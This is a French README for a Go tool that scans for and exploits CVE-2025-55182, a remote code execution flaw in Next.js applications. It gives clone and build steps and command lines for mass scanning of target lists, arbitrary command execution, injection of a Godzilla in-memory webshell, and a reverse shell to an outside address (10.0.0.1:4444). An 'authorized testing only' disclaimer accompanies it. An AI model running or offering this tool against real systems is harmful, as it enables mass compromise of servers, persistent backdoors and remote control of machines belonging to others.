CVE-2025-55182 Next.js RCE Scanner

Outil de scan et d'exploitation de la CVE-2025-55182, ciblant la vulnérabilité d'exécution de code à distance dans les applications Next.js. Prend en charge la détection en masse, l'exécution de commandes, l'injection de cheval de Troie mémoire Godzilla ainsi que la fonction de reverse shell.

⚠️ Cet outil est exclusivement destiné à la recherche en sécurité et aux tests autorisés. Ne l'utilisez pas à des fins illégales.

Fonctionnalités

• Scan multi-cibles : prend en charge une URL unique, un fichier de liste (une URL par ligne) ainsi qu'un dossier contenant plusieurs fichiers .txt.
• Multithreading concurrent : nombre de threads personnalisable pour améliorer l'efficacité du scan.
• Validation de la vulnérabilité : vérifie la présence de la vulnérabilité en calculant le produit de nombres aléatoires.
• Exécution de commandes : exécute des commandes système arbitraires sur la cible vulnérable (prend en charge Linux et Windows).
• Injection de cheval de Troie mémoire Godzilla : génère en une commande les informations de connexion du cheval de Troie mémoire Godzilla.
• Reverse shell : prend en charge la fonctionnalité de reverse shell.
• Enregistrement des résultats : enregistre automatiquement les URLs exploitées avec succès et les détails associés dans success.json, avec possibilité d'exporter les URLs vulnérables vers un fichier spécifié.
• Prise en charge du proxy : proxy HTTP configurable, facilitant l'intégration avec des outils tels que Burp Suite.
• Affichage de la progression : affiche en temps réel la progression du scan, le temps écoulé, le temps restant estimé, etc.

[]

Installation

Prérequis

• Go 1.16 ou version ultérieure
• Git

Cloner le dépôt

git clone https://github.com/luoqichen/CVE-2025-55182-POC.git
cd cve-2025-55182-POC

Compilation

go build -o cve-2025-55182 main.go

Exécution

./cve-2025-55182 -h

Utilisation

Description des paramètres

Exemples

Scanner une cible unique

./cve-2025-55182 -u http://target.com:3000

Scanner en masse les cibles d'un fichier

./cve-2025-55182 -f targets.txt -t 20 -o vuln.txt

Exécuter une commande

./cve-2025-55182 -u http://target.com:3000 -c "whoami"

Utiliser le cheval de Troie mémoire Godzilla

./cve-2025-55182 -u http://target.com:3000 -g

Après une injection réussie, l'outil affiche l'adresse de connexion, le mot de passe, la clé et les informations d'en-tête de requête Godzilla.

Reverse shell

./cve-2025-55182 -u http://target.com:3000 -rs 10.0.0.1:4444

Activer le proxy

./cve-2025-55182 -f targets.txt -p http://127.0.0.1:8080 -t 10

Explication des sorties

• success.json : enregistre automatiquement les détails complets de toutes les cibles exploitées avec succès (y compris la sortie des commandes, la configuration Godzilla, etc.).
• Fichier spécifié par -o : enregistre la liste des URLs vulnérables (une par ligne).

Pendant le scan, une barre de progression et les vulnérabilités découvertes sont affichées en temps réel, avec un récapitulatif statistique final.

Notes importantes

1. Assurez-vous d'avoir obtenu une autorisation : scanner ou attaquer les systèmes d'autrui sans autorisation est illégal.
2. Utilisation du proxy : si vous devez inspecter le trafic avec Burp Suite, utilisez le paramètre -p pour définir le proxy.
3. Connexion Godzilla : après une injection réussie de Godzilla, connectez-vous à l'aide du client Godzilla ; notez que le mot de passe et la clé sont générés aléatoirement.
4. Délai d'expiration : pour les cibles disposant d'un mauvais réseau, vous pouvez augmenter la valeur du paramètre -to en conséquence.

Avertissement

Cet outil est destiné uniquement à la recherche en sécurité et aux tests autorisés. L'utilisateur assume seul l'entière responsabilité légale. Le développeur décline toute responsabilité en cas d'utilisation abusive.

License

MIT